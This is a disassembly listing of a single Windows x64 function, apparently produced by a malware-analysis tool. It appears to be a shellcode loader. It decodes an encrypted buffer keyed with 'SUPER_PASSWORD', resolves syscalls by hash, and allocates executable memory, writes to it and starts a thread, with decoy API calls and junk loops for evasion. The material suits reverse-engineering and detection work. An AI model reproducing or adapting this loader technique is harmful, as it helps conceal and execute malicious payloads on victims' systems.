Function at 0x140001200
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x360
xor eax, eax
mov r10d, 0xdeadbeef
mov r9b, 1
movabs rdx, 0x5deece66d
jmp 0x140001251
tzcnt rcx, r8
movzx r9d, r9b
inc ecx
mov r10, r8
rol r10, cl
and r9d, 1
add eax, r9d
cmp eax, 0xa
setb r9b
jae 0x140001265
imul r10, rdx
mov r8, r10
add r8, 0xb
jne 0x140001230
mov ecx, 0x40
jmp 0x140001235
mov rax, r8
shr rax, 0x20
xor eax, r8d
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
xor cl, ch
jp 0x1400012a6
call sub.KERNEL32.dll_GetLastError
xor ecx, ecx
xor edx, edx
call sub.USER32.dll_GetWindowLongPtrW
xor ecx, ecx
call sub.USER32.dll_RegisterClassW
xor ecx, ecx
call sub.USER32.dll_IsWindowVisible
xor ecx, ecx
call sub.KERNEL32.dll_ConvertDefaultLocale
xor ecx, ecx
xor edx, edx
call sub.USER32.dll_IsDialogMessageW
mov qword [rsp + 0x70], 0
movaps xmm0, xmmword [0x140003040]
movups xmmword [rsp + 0x90], xmm0
lea rdi, [rsp + 0x91]
movaps xmm0, xmmword [0x140003050]
movups xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [0x140003060]
movups xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [0x140003070]
movups xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [str._fS_rRg]
movups xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [0x140003090]
movups xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [0x1400030a0]
movups xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [0x1400030b0]
movups xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [0x1400030c0]
movups xmmword [rsp + 0x110], xmm0
movaps xmm0, xmmword [0x1400030d0]
movups xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [0x1400030e0]
movups xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [0x1400030f0]
movups xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [0x140003100]
movups xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140003110]
movups xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140003120]
movups xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140003130]
movups xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x140003140]
movups xmmword [rsp + 0x190], xmm0
movaps xmm0, xmmword [0x140003150]
movups xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x140003160]
movups xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x140003170]
movups xmmword [rsp + 0x1c0], xmm0
movaps xmm0, xmmword [0x140003180]
movups xmmword [rsp + 0x1d0], xmm0
movaps xmm0, xmmword [0x140003190]
movups xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [0x1400031a0]
movups xmmword [rsp + 0x1f0], xmm0
movaps xmm0, xmmword [0x1400031b0]
movups xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [0x1400031c0]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [0x1400031d0]
movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [0x1400031e0]
movups xmmword [rsp + 0x230], xmm0
movaps xmm0, xmmword [0x1400031f0]
movups xmmword [rsp + 0x240], xmm0
movabs rax, 0xd9f2d7243ae1c572
mov qword [rsp + 0x250], rax
mov dword [rsp + 0x258], 0xf78a2f6a
lea rdx, str.SUPER_PASSWORD
lea rsi, [rsp + 0x25c]
mov r8d, 0xe
mov rcx, rsi
call fcn.140002120
mov word [rsp + 0x35e], 0
lea rbx, [rsp + 0x90]
mov r14d, 0x1cc
mov r15, rbx
mov rcx, rsi
call fcn.140002240
xor al, byte [r15]
mov byte [rbx], al
cmp r14, 1
cmovne r15, rdi
cmovne rbx, rdi
inc rdi
dec r14
jne 0x1400014b0
mov byte [rsp + 0x35f], 0
mov qword [rsp + 0x78], 0x1cc
mov ecx, 0xf783b8ec
call fcn.140001050
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x38], 0x3000
mov dword [rsp + 0x28], 0
mov ecx, eax
mov r8d, 6
mov r9, 0xffffffffffffffff
call section..text
mov qword [rsp + 0x80], 0
mov ecx, 0xc3170192
call fcn.140001050
mov rcx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea r9, [rsp + 0x80]
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x90]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov ecx, eax
mov r8d, 5
mov r9, 0xffffffffffffffff
call section..text
mov qword [rsp + 0x88], 0
mov ecx, 0xaf18cfb0
call fcn.140001050
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0xffffffffffffffff
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fffff
lea r9, [rsp + 0x88]
mov ecx, eax
mov r8d, 0xb
call section..text
nop word cs:[rax + rax]
jmp 0x140001610